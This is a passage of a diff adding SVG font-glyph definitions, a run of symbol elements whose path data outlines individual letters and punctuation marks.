+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
